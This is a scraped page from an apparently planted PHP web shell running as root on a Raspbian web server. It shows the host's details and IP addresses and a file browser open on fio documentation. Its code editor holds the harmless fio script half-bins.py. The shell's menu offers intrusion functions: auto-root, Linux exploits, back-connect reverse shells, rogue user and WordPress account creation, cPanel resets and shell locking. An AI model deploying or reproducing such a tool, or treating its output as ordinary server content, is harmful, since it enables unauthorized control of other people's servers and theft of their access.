Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.15
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
fio /
[ HOME SHELL ]
Name
Size
Permission
Action
examples
[ DIR ]
drwxr-xr-x
HOWTO.gz
50.93
KB
-rw-r--r--
MORAL-LICENSE
912
B
-rw-r--r--
README.Debian
1.71
KB
-rw-r--r--
README.gz
4.57
KB
-rw-r--r--
REPORTING-BUGS
794
B
-rw-r--r--
changelog.Debian.gz
5.89
KB
-rw-r--r--
copyright
8.18
KB
-rw-r--r--
fiologparser.py.gz
2.12
KB
-rw-r--r--
fiologparser_hist.py.1.gz
3.45
KB
-rw-r--r--
fiologparser_hist.py.gz
7.31
KB
-rw-r--r--
half-bins.py
1.3
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : half-bins.py
#!/usr/bin/python2.7 """ Cut the number bins in half in fio histogram output. Example usage: $ half-bins.py -c 2 output_clat_hist.1.log > smaller_clat_hist.1.log Which merges e.g. bins [0 .. 3], [4 .. 7], ..., [1212 .. 1215] resulting in 304 = 1216 / (2**2) merged bins per histogram sample. @author Karl Cronburg <karl.cronburg@gmail.com> """ import sys def main(ctx): stride = 1 << ctx.coarseness with open(ctx.FILENAME, 'r') as fp: for line in fp.readlines(): vals = line.split(', ') sys.stdout.write("%s, %s, %s, " % tuple(vals[:3])) hist = list(map(int, vals[3:])) for i in range(0, len(hist) - stride, stride): sys.stdout.write("%d, " % sum(hist[i : i + stride],)) sys.stdout.write("%d\n" % sum(hist[len(hist) - stride:])) if __name__ == '__main__': import argparse p = argparse.ArgumentParser() arg = p.add_argument arg( 'FILENAME', help='clat_hist file for which we will reduce' ' (by half or more) the number of bins.') arg('-c', '--coarseness', default=1, type=int, help='number of times to reduce number of bins by half, ' 'e.g. coarseness of 4 merges each 2^4 = 16 consecutive ' 'bins.') main(p.parse_args())
Close